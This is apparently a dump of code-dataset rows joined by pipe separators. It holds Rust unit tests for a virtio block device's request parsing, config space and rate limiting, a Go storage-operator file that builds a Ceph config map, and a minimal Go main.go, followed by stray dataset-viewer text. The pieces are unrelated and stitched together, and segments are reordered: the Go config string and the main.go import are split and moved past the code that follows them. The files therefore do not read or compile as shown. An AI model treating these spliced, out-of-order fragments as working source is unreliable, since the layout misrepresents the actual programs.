let mut q = vq.create_queue();
// write only data for OUT
vq.dtable[1]
.flags
.set(VIRTQ_DESC_F_NEXT | VIRTQ_DESC_F_WRITE);
vq.dtable[2].set(0x3000, 0, 0, 0);
assert!(match Request::parse(&q.pop(m).unwrap(), m) {
Err(Error::UnexpectedWriteOnlyDescriptor) => true,
_ => false,
});
}
{
let mut q = vq.create_queue();
// read only data for IN
m.write_obj_at_addr::<u32>(VIRTIO_BLK_T_IN, GuestAddress(0x1000))
.unwrap();
vq.dtable[1].flags.set(VIRTQ_DESC_F_NEXT);
assert!(match Request::parse(&q.pop(m).unwrap(), m) {
Err(Error::UnexpectedReadOnlyDescriptor) => true,
_ => false,
});
}
{
let mut q = vq.create_queue();
// status desc not writable
vq.dtable[1]
.flags
.set(VIRTQ_DESC_F_NEXT | VIRTQ_DESC_F_WRITE);
assert!(match Request::parse(&q.pop(m).unwrap(), m) {
Err(Error::UnexpectedReadOnlyDescriptor) => true,
_ => false,
});
}
{
let mut q = vq.create_queue();
// status desc too small
vq.dtable[2].flags.set(VIRTQ_DESC_F_WRITE);
assert!(match Request::parse(&q.pop(m).unwrap(), m) {
Err(Error::DescriptorLengthTooSmall) => true,
_ => false,
});
}
{
let mut q = vq.create_queue();
// should be OK now
vq.dtable[2].len.set(0x1000);
let r = Request::parse(&q.pop(m).unwrap(), m).unwrap();
assert_eq!(r.request_type, RequestType::In);
assert_eq!(r.sector, 114);
assert_eq!(r.data_addr, GuestAddress(0x2000));
assert_eq!(r.data_len, 0x1000);
assert_eq!(r.status_addr, GuestAddress(0x3000));
}
}
#[test]
#[allow(clippy::cognitive_complexity)]
fn test_virtio_device() {
let mut dummy = DummyBlock::new(true);
let b = dummy.block();
// Test `device_type()`.
{
assert_eq!(b.device_type(), TYPE_BLOCK);
}
// Test `queue_max_sizes()`.
{
let x = b.queue_max_sizes();
assert_eq!(x, QUEUE_SIZES);
// power of 2?
for &y in x {
assert!(y > 0 && y & (y - 1) == 0);
}
}
// Test `read_config()`.
{
let mut num_sectors = [0u8; 4];
b.read_config(0, &mut num_sectors);
// size is 0x1000, so num_sectors is 8 (4096/512).
assert_eq!([0x08, 0x00, 0x00, 0x00], num_sectors);
let mut msw_sectors = [0u8; 4];
b.read_config(4, &mut msw_sectors);
// size is 0x1000, so msw_sectors is 0.
assert_eq!([0x00, 0x00, 0x00, 0x00], msw_sectors);
// Invalid read.
num_sectors = [0xd, 0xe, 0xa, 0xd];
check_metric_after_block!(
&METRICS.block.cfg_fails,
1,
b.read_config(CONFIG_SPACE_SIZE as u64 + 1, &mut num_sectors)
);
// Validate read failed.
assert_eq!(num_sectors, [0xd, 0xe, 0xa, 0xd]);
}
// Test `features()` and `ack_features()`.
{
let features: u64 = (1u64 << VIRTIO_BLK_F_RO)
| (1u64 << VIRTIO_F_VERSION_1)
| (1u64 << VIRTIO_BLK_F_FLUSH);
assert_eq!(b.avail_features_by_page(0), features as u32);
assert_eq!(b.avail_features_by_page(1), (features >> 32) as u32);
for i in 2..10 {
assert_eq!(b.avail_features_by_page(i), 0u32);
}
for i in 0..10 {
b.ack_features_by_page(i, u32::MAX);
}
assert_eq!(b.acked_features, features);
}
// Test `activate()`.
{
// It should fail when not enough queues and/or evts are provided.
check_metric_after_block!(
&METRICS.block.activate_fails,
1,
assert!(match activate_block_with_modifiers(b, true, false) {
Err(ActivateError::BadActivate) => true,
_ => false,
})
);
check_metric_after_block!(
&METRICS.block.activate_fails,
1,
assert!(match activate_block_with_modifiers(b, false, true) {
Err(ActivateError::BadActivate) => true,
_ => false,
})
);
check_metric_after_block!(
&METRICS.block.activate_fails,
1,
assert!(match activate_block_with_modifiers(b, true, true) {
Err(ActivateError::BadActivate) => true,
_ => false,
})
);
// Otherwise, it should be ok.
assert!(activate_block_with_modifiers(b, false, false).is_ok());
// Second activate shouldn't be ok anymore.
check_metric_after_block!(
&METRICS.block.activate_fails,
1,
assert!(match activate_block_with_modifiers(b, false, false) {
Err(ActivateError::BadActivate) => true,
_ => false,
})
);
}
// Test `write_config()`.
{
let new_config: [u8; 8] = [0x00, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00];
b.write_config(0, &new_config);
let mut new_config_read = [0u8; 8];
b.read_config(0, &mut new_config_read);
assert_eq!(new_config, new_config_read);
// Invalid write.
check_metric_after_block!(&METRICS.block.cfg_fails, 1, b.write_config(5, &new_config));
// Make sure nothing got written.
new_config_read = [0u8; 8];
b.read_config(0, &mut new_config_read);
assert_eq!(new_config, new_config_read);
}
}
#[test]
fn test_invalid_event_handler() {
let m = GuestMemory::new(&[(GuestAddress(0), 0x10000)]).unwrap();
let (mut h, _vq) = default_test_blockepollhandler(&m);
let r = h.handle_event(BLOCK_EVENTS_COUNT as DeviceEventT, EPOLLIN);
match r {
Err(DeviceError::UnknownEvent { event, device }) => {
assert_eq!(event, BLOCK_EVENTS_COUNT as DeviceEventT);
assert_eq!(device, "block");
}
_ => panic!("invalid"),
}
}
// Cannot easily test failures for
// * queue_evt.read
// * interrupt_evt.write
#[test]
#[allow(clippy::cognitive_complexity)]
fn test_handler() {
let m = GuestMemory::new(&[(GuestAddress(0), 0x10000)]).unwrap();
let (mut h, vq) = default_test_blockepollhandler(&m);
let blk_metadata = h.disk_image.metadata();
for i in 0..3 {
vq.avail.ring[i].set(i as u16);
vq.dtable[i].set(
(0x1000 * (i + 1)) as u64,
0x1000,
VIRTQ_DESC_F_NEXT,
(i + 1) as u16,
);
}
vq.dtable[1]
.flags
.set(VIRTQ_DESC_F_NEXT | VIRTQ_DESC_F_WRITE);
vq.dtable[2].flags.set(VIRTQ_DESC_F_WRITE);
vq.avail.idx.set(1);
// dtable[1] is the data descriptor
let data_addr = GuestAddress(vq.dtable[1].addr.get());
// dtable[2] is the status descriptor
let status_addr = GuestAddress(vq.dtable[2].addr.get());
{
// let's start with a request that does not parse
// request won't be valid bc the first desc is write-only
vq.dtable[0]
.flags
.set(VIRTQ_DESC_F_NEXT | VIRTQ_DESC_F_WRITE);
m.write_obj_at_addr::<u32>(VIRTIO_BLK_T_IN, GuestAddress(0x1000))
.unwrap();
invoke_handler_for_queue_event(&mut h);
assert_eq!(vq.used.idx.get(), 1);
assert_eq!(vq.used.ring[0].get().id, 0);
assert_eq!(vq.used.ring[0].get().len, 0);
}
// now we generate some request execute failures
{
// reset the queue to reuse descriptors & memory
vq.used.idx.set(0);
h.set_queue(0, vq.create_queue());
// first desc no longer writable
vq.dtable[0].flags.set(VIRTQ_DESC_F_NEXT);
vq.dtable[1].flags.set(VIRTQ_DESC_F_NEXT);
// let's generate a seek execute error caused by a very large sector number
m.write_obj_at_addr::<u32>(VIRTIO_BLK_T_OUT, GuestAddress(0x1000))
.unwrap();
m.write_obj_at_addr::<u64>(0x000f_ffff_ffff, GuestAddress(0x1000 + 8))
.unwrap();
invoke_handler_for_queue_event(&mut h);
assert_eq!(vq.used.idx.get(), 1);
assert_eq!(vq.used.ring[0].get().id, 0);
assert_eq!(vq.used.ring[0].get().len, 1);
assert_eq!(
m.read_obj_from_addr::<u32>(status_addr).unwrap(),
VIRTIO_BLK_S_IOERR
);
}
{
vq.used.idx.set(0);
h.set_queue(0, vq.create_queue());
vq.dtable[1]
.flags
.set(VIRTQ_DESC_F_NEXT | VIRTQ_DESC_F_WRITE);
// set sector to a valid number but large enough that the full 0x1000 read will fail
m.write_obj_at_addr::<u32>(VIRTIO_BLK_T_IN, GuestAddress(0x1000))
.unwrap();
m.write_obj_at_addr::<u64>(10, GuestAddress(0x1000 + 8))
.unwrap();
invoke_handler_for_queue_event(&mut h);
assert_eq!(vq.used.idx.get(), 1);
assert_eq!(vq.used.ring[0].get().id, 0);
assert_eq!(vq.used.ring[0].get().len, 1);
assert_eq!(
m.read_obj_from_addr::<u32>(status_addr).unwrap(),
VIRTIO_BLK_S_IOERR
);
}
// test unsupported block commands
// currently 0, 1, 4, 8 are supported
{
vq.used.idx.set(0);
h.set_queue(0, vq.create_queue());
// set sector to 0
m.write_obj_at_addr::<u64>(0, GuestAddress(0x1000 + 8))
.unwrap();
// ... but generate an unsupported request
m.write_obj_at_addr::<u32>(16, GuestAddress(0x1000))
.unwrap();
invoke_handler_for_queue_event(&mut h);
assert_eq!(vq.used.idx.get(), 1);
assert_eq!(vq.used.ring[0].get().id, 0);
assert_eq!(vq.used.ring[0].get().len, 1);
assert_eq!(
m.read_obj_from_addr::<u32>(status_addr).unwrap(),
VIRTIO_BLK_S_UNSUPP
);
}
// now let's write something and read it back
{
// write
vq.used.idx.set(0);
h.set_queue(0, vq.create_queue());
m.write_obj_at_addr::<u32>(VIRTIO_BLK_T_OUT, GuestAddress(0x1000))
.unwrap();
// make data read only, 8 bytes in len, and set the actual value to be written
vq.dtable[1].flags.set(VIRTQ_DESC_F_NEXT);
vq.dtable[1].len.set(8);
m.write_obj_at_addr::<u64>(123_456_789, data_addr).unwrap();
check_metric_after_block!(
&METRICS.block.write_count,
1,
invoke_handler_for_queue_event(&mut h)
);
assert_eq!(vq.used.idx.get(), 1);
assert_eq!(vq.used.ring[0].get().id, 0);
assert_eq!(vq.used.ring[0].get().len, 0);
assert_eq!(
m.read_obj_from_addr::<u32>(status_addr).unwrap(),
VIRTIO_BLK_S_OK
);
}
{
// read
vq.used.idx.set(0);
h.set_queue(0, vq.create_queue());
m.write_obj_at_addr::<u32>(VIRTIO_BLK_T_IN, GuestAddress(0x1000))
.unwrap();
vq.dtable[1]
.flags
.set(VIRTQ_DESC_F_NEXT | VIRTQ_DESC_F_WRITE);
check_metric_after_block!(
&METRICS.block.read_count,
1,
invoke_handler_for_queue_event(&mut h)
);
assert_eq!(vq.used.idx.get(), 1);
assert_eq!(vq.used.ring[0].get().id, 0);
assert_eq!(vq.used.ring[0].get().len, vq.dtable[1].len.get());
assert_eq!(
m.read_obj_from_addr::<u32>(status_addr).unwrap(),
VIRTIO_BLK_S_OK
);
assert_eq!(m.read_obj_from_addr::<u64>(data_addr).unwrap(), 123_456_789);
}
{
// testing that the flush request completes successfully,
// when a data descriptor is provided
vq.used.idx.set(0);
h.set_queue(0, vq.create_queue());
m.write_obj_at_addr::<u32>(VIRTIO_BLK_T_FLUSH, GuestAddress(0x1000))
.unwrap();
invoke_handler_for_queue_event(&mut h);
assert_eq!(vq.used.idx.get(), 1);
assert_eq!(vq.used.ring[0].get().id, 0);
assert_eq!(vq.used.ring[0].get().len, 0);
assert_eq!(
m.read_obj_from_addr::<u32>(status_addr).unwrap(),
VIRTIO_BLK_S_OK
);
}
{
// testing that the flush request completes successfully,
// without a data descriptor
vq.used.idx.set(0);
h.set_queue(0, vq.create_queue());
vq.dtable[0].next.set(2);
m.write_obj_at_addr::<u32>(VIRTIO_BLK_T_FLUSH, GuestAddress(0x1000))
.unwrap();
invoke_handler_for_queue_event(&mut h);
assert_eq!(vq.used.idx.get(), 1);
assert_eq!(vq.used.ring[0].get().id, 0);
assert_eq!(vq.used.ring[0].get().len, 0);
assert_eq!(
m.read_obj_from_addr::<u32>(status_addr).unwrap(),
VIRTIO_BLK_S_OK
);
vq.dtable[0].next.set(1);
}
{
// testing that the driver receives the correct device id
vq.used.idx.set(0);
h.set_queue(0, vq.create_queue());
vq.dtable[1].len.set(VIRTIO_BLK_ID_BYTES);
m.write_obj_at_addr::<u32>(VIRTIO_BLK_T_GET_ID, GuestAddress(0x1000))
.unwrap();
invoke_handler_for_queue_event(&mut h);
assert_eq!(vq.used.idx.get(), 1);
assert_eq!(vq.used.ring[0].get().id, 0);
assert_eq!(vq.used.ring[0].get().len, 0);
assert_eq!(
m.read_obj_from_addr::<u32>(status_addr).unwrap(),
VIRTIO_BLK_S_OK
);
assert!(blk_metadata.is_ok());
let blk_meta = blk_metadata.unwrap();
let expected_device_id = format!(
"{}{}{}",
blk_meta.st_dev(),
blk_meta.st_rdev(),
blk_meta.st_ino()
);
let mut buf = [0; VIRTIO_BLK_ID_BYTES as usize];
assert_eq!(
m.read_slice_at_addr(&mut buf, data_addr).unwrap(),
VIRTIO_BLK_ID_BYTES as usize
);
let chars_to_trim: &[char] = &['\u{0}'];
let received_device_id = String::from_utf8(buf.to_ascii_lowercase())
.unwrap()
.trim_matches(chars_to_trim)
.to_string();
assert_eq!(received_device_id, expected_device_id);
}
{
// test that a device ID request will fail, if it fails to provide enough buffer space
vq.used.idx.set(0);
h.set_queue(0, vq.create_queue());
vq.dtable[1].len.set(VIRTIO_BLK_ID_BYTES - 1);
m.write_obj_at_addr::<u32>(VIRTIO_BLK_T_GET_ID, GuestAddress(0x1000))
.unwrap();
invoke_handler_for_queue_event(&mut h);
assert_eq!(vq.used.idx.get(), 1);
assert_eq!(vq.used.ring[0].get().id, 0);
assert_eq!(vq.used.ring[0].get().len, 1);
assert_eq!(
m.read_obj_from_addr::<u32>(status_addr).unwrap(),
VIRTIO_BLK_S_IOERR
);
}
// test the bandwidth rate limiter
{
// create bandwidth rate limiter that allows only 80 bytes/s with bucket size of 8 bytes
let mut rl = RateLimiter::new(8, None, 100, 0, None, 0).unwrap();
// use up the budget
assert!(rl.consume(8, TokenType::Bytes));
vq.used.idx.set(0);
h.set_queue(0, vq.create_queue());
h.set_rate_limiter(rl);
m.write_obj_at_addr::<u32>(VIRTIO_BLK_T_OUT, GuestAddress(0x1000))
.unwrap();
// make data read only, 8 bytes in len, and set the actual value to be written
vq.dtable[1].flags.set(VIRTQ_DESC_F_NEXT);
vq.dtable[1].len.set(8);
m.write_obj_at_addr::<u64>(123_456_789, data_addr).unwrap();
// following write procedure should fail because of bandwidth rate limiting
{
// leave at least one event here so that reading it later won't block
h.interrupt_evt.write(1).unwrap();
// trigger the attempt to write
h.queue_evt.write(1).unwrap();
h.handle_event(QUEUE_AVAIL_EVENT, EPOLLIN).unwrap();
// assert that limiter is blocked
assert!(h.get_rate_limiter().is_blocked());
// assert that no operation actually completed (limiter blocked it)
assert_eq!(h.interrupt_evt.read().unwrap(), 1);
// make sure the data is still queued for processing
assert_eq!(vq.used.idx.get(), 0);
}
// wait for 100ms to give the rate-limiter timer a chance to replenish
// wait for an extra 50ms to make sure the timerfd event makes its way from the kernel
thread::sleep(Duration::from_millis(150));
// following write procedure should succeed because bandwidth should now be available
{
// leave at least one event here so that reading it later won't block
h.interrupt_evt.write(1).unwrap();
h.handle_event(RATE_LIMITER_EVENT, EPOLLIN).unwrap();
// validate the rate_limiter is no longer blocked
assert!(!h.get_rate_limiter().is_blocked());
// make sure the virtio queue operation completed this time
assert_eq!(h.interrupt_evt.read().unwrap(), 2);
// make sure the data queue advanced
assert_eq!(vq.used.idx.get(), 1);
assert_eq!(vq.used.ring[0].get().id, 0);
assert_eq!(vq.used.ring[0].get().len, 0);
assert_eq!(
m.read_obj_from_addr::<u32>(status_addr).unwrap(),
VIRTIO_BLK_S_OK
);
}
}
// test the ops/s rate limiter
{
// create ops rate limiter that allows only 10 ops/s with bucket size of 1 ops
let mut rl = RateLimiter::new(0, None, 0, 1, None, 100).unwrap();
// use up the budget
assert!(rl.consume(1, TokenType::Ops));
vq.used.idx.set(0);
h.set_queue(0, vq.create_queue());
h.set_rate_limiter(rl);
m.write_obj_at_addr::<u32>(VIRTIO_BLK_T_OUT, GuestAddress(0x1000))
.unwrap();
// make data read only, 8 bytes in len, and set the actual value to be written
vq.dtable[1].flags.set(VIRTQ_DESC_F_NEXT);
vq.dtable[1].len.set(8);
m.write_obj_at_addr::<u64>(123_456_789, data_addr).unwrap();
// following write procedure should fail because of ops rate limiting
{
// leave at least one event here so that reading it later won't block
h.interrupt_evt.write(1).unwrap();
// trigger the attempt to write
h.queue_evt.write(1).unwrap();
h.handle_event(QUEUE_AVAIL_EVENT, EPOLLIN).unwrap();
// assert that limiter is blocked
assert!(h.get_rate_limiter().is_blocked());
// assert that no operation actually completed (limiter blocked it)
assert_eq!(h.interrupt_evt.read().unwrap(), 1);
// make sure the data is still queued for processing
assert_eq!(vq.used.idx.get(), 0);
}
// do a second write that still fails but this time on the fast path
{
// leave at least one event here so that reading it later won't block
h.interrupt_evt.write(1).unwrap();
// trigger the attempt to write
h.queue_evt.write(1).unwrap();
h.handle_event(QUEUE_AVAIL_EVENT, EPOLLIN).unwrap();
// assert that limiter is blocked
assert!(h.get_rate_limiter().is_blocked());
// assert that no operation actually completed (limiter blocked it)
assert_eq!(h.interrupt_evt.read().unwrap(), 1);
// make sure the data is still queued for processing
assert_eq!(vq.used.idx.get(), 0);
}
// wait for 100ms to give the rate-limiter timer a chance to replenish
// wait for an extra 50ms to make sure the timerfd event makes its way from the kernel
thread::sleep(Duration::from_millis(150));
// following write procedure should succeed because ops budget should now be available
{
// leave at least one event here so that reading it later won't block
h.interrupt_evt.write(1).unwrap();
h.handle_event(RATE_LIMITER_EVENT, EPOLLIN).unwrap();
// validate the rate_limiter is no longer blocked
assert!(!h.get_rate_limiter().is_blocked());
// make sure the virtio queue operation completed this time
assert_eq!(h.interrupt_evt.read().unwrap(), 2);
// make sure the data queue advanced
assert_eq!(vq.used.idx.get(), 1);
assert_eq!(vq.used.ring[0].get().id, 0);
assert_eq!(vq.used.ring[0].get().len, 0);
assert_eq!(
m.read_obj_from_addr::<u32>(status_addr).unwrap(),
VIRTIO_BLK_S_OK
);
}
}
// test block device update handler
{
let f = NamedTempFile::new().unwrap();
let path = f.path().to_path_buf();
let mdata = metadata(&path).unwrap();
let mut id = vec![0; VIRTIO_BLK_ID_BYTES as usize];
let str_id = format!("{}{}{}", mdata.st_dev(), mdata.st_rdev(), mdata.st_ino());
let part_id = str_id.as_bytes();
id[..cmp::min(part_id.len(), VIRTIO_BLK_ID_BYTES as usize)].clone_from_slice(
&part_id[..cmp::min(part_id.len(), VIRTIO_BLK_ID_BYTES as usize)],
);
let file = OpenOptions::new()
.read(true)
.write(true)
.open(path)
.unwrap();
h.update_disk_image(file).unwrap();
assert_eq!(h.disk_image.metadata().unwrap().st_ino(), mdata.st_ino());
assert_eq!(h.disk_image_id, id);
}
}
} | |
cephconfig.go | package storagecluster
import (
"bytes"
"context"
"fmt"
"strings"
configv1 "github.com/openshift/api/config/v1"
ocsv1 "github.com/red-hat-storage/ocs-operator/api/v1"
ini "gopkg.in/ini.v1"
corev1 "k8s.io/api/core/v1"
"k8s.io/apimachinery/pkg/api/errors"
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
"k8s.io/apimachinery/pkg/types"
"k8s.io/klog/v2"
"sigs.k8s.io/controller-runtime/pkg/reconcile"
)
type ocsCephConfig struct{}
const (
rookConfigMapName = "rook-config-override"
globalSectionKey = "global"
publicNetworkKey = "public_network"
)
var (
defaultRookConfigData = `
[global]
bdev_flock_retry = 20
mon_osd_full_ratio = .85
mon_osd_backfillfull_ratio = .8
mon_osd_nearfull_ratio = .75
mon_max_pg_per_osd = 600
mon_pg_warn_max_object_skew = 0
mon_data_avail_warn = 15 |
// ensureCreated ensures that a ConfigMap resource exists with its Spec in
// the desired state.
func (obj *ocsCephConfig) ensureCreated(r *StorageClusterReconciler, sc *ocsv1.StorageCluster) (reconcile.Result, error) {
reconcileStrategy := ReconcileStrategy(sc.Spec.ManagedResources.CephConfig.ReconcileStrategy)
if reconcileStrategy == ReconcileStrategyIgnore {
return reconcile.Result{}, nil
}
found := &corev1.ConfigMap{}
err := r.Client.Get(context.TODO(), types.NamespacedName{Name: rookConfigMapName, Namespace: sc.Namespace}, found)
if err == nil && reconcileStrategy == ReconcileStrategyInit {
return reconcile.Result{}, nil
} else if err != nil && !errors.IsNotFound(err) {
return reconcile.Result{}, err
}
ownerRef := metav1.OwnerReference{
UID: sc.UID,
APIVersion: sc.APIVersion,
Kind: sc.Kind,
Name: sc.Name,
}
rookConfigData, configErr := getRookCephConfig(r, sc)
if configErr != nil {
return reconcile.Result{}, fmt.Errorf("failed to get rook ceph config data: %w", err)
}
cm := &corev1.ConfigMap{
ObjectMeta: metav1.ObjectMeta{
Name: rookConfigMapName,
Namespace: sc.Namespace,
OwnerReferences: []metav1.OwnerReference{ownerRef},
},
Data: map[string]string{
"config": rookConfigData,
},
}
if err != nil {
r.Log.Info("Creating Ceph ConfigMap.", "ConfigMap", klog.KRef(sc.Namespace, rookConfigMapName))
err = r.Client.Create(context.TODO(), cm)
if err != nil {
r.Log.Error(err, "Failed to create Ceph ConfigMap.", "ConfigMap", klog.KRef(sc.Namespace, rookConfigMapName))
return reconcile.Result{}, err
}
return reconcile.Result{}, err
}
ownerRefFound := false
for _, ownerRef := range found.OwnerReferences {
if ownerRef.UID == sc.UID {
ownerRefFound = true
}
}
val, ok := found.Data["config"]
if !ok || val != defaultRookConfigData || !ownerRefFound {
r.Log.Info("Updating Ceph ConfigMap.", "ConfigMap", klog.KRef(sc.Namespace, cm.Name))
return reconcile.Result{}, r.Client.Update(context.TODO(), cm)
}
return reconcile.Result{}, nil
}
// ensureDeleted is dummy func for the ocsCephConfig
func (obj *ocsCephConfig) ensureDeleted(r *StorageClusterReconciler, instance *ocsv1.StorageCluster) (reconcile.Result, error) {
return reconcile.Result{}, nil
}
// updateRookConfig(config string, section string, value string )(string, error)
func updateRookConfig(defaultRookConfigData string, section string, key string, val string) (string, error) {
if defaultRookConfigData == "" {
return "", fmt.Errorf("failed to update rook config: defaultRookConfigData is empty")
}
if val == "" {
return "", fmt.Errorf("failed to update rook config: value is empty")
}
cfg, err := ini.Load([]byte(defaultRookConfigData))
if err != nil {
return "", fmt.Errorf("failed to load configData by ini Loader : %v", err)
}
cfg.Section(section).Key(key).SetValue(val)
var b bytes.Buffer
_, err = cfg.WriteTo(&b)
if err != nil {
return "", fmt.Errorf("failed to write to bytes buffer from ini cfg: %v", err)
}
return b.String(), nil
}
func getRookCephConfig(r *StorageClusterReconciler, sc *ocsv1.StorageCluster) (string, error) {
// configure public network if the cluster is dualstack, but not multus
if sc.Spec.Network != nil && sc.Spec.Network.Provider == "" && sc.Spec.Network.DualStack {
log.Info("DualStack is enabled, and no alternate network provider is detected")
networkConfig := &configv1.Network{}
err := r.Client.Get(context.TODO(), types.NamespacedName{Name: "cluster", Namespace: ""}, networkConfig)
if err != nil {
return "", fmt.Errorf("could not get network config details : %v", err)
}
cidrNameArray := []string{}
for _, cidr := range networkConfig.Status.ClusterNetwork {
cidrNameArray = append(cidrNameArray, cidr.CIDR)
}
if len(cidrNameArray) == 0 {
return "", fmt.Errorf("no CIDR is detected")
}
cidrName := strings.Join(cidrNameArray, ",")
rookConfigData, err := updateRookConfig(defaultRookConfigData, globalSectionKey, publicNetworkKey, cidrName)
if err != nil {
return "", fmt.Errorf("failed to set network configuration for rook: %v", err)
}
return rookConfigData, nil
}
return defaultRookConfigData, nil
} | [osd]
osd_memory_target_cgroup_limit_ratio = 0.8
`
) |
main.go | package main |
func main() {
cmd.Execute()
} |
import "github.com/dombo/privnote/cmd" |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.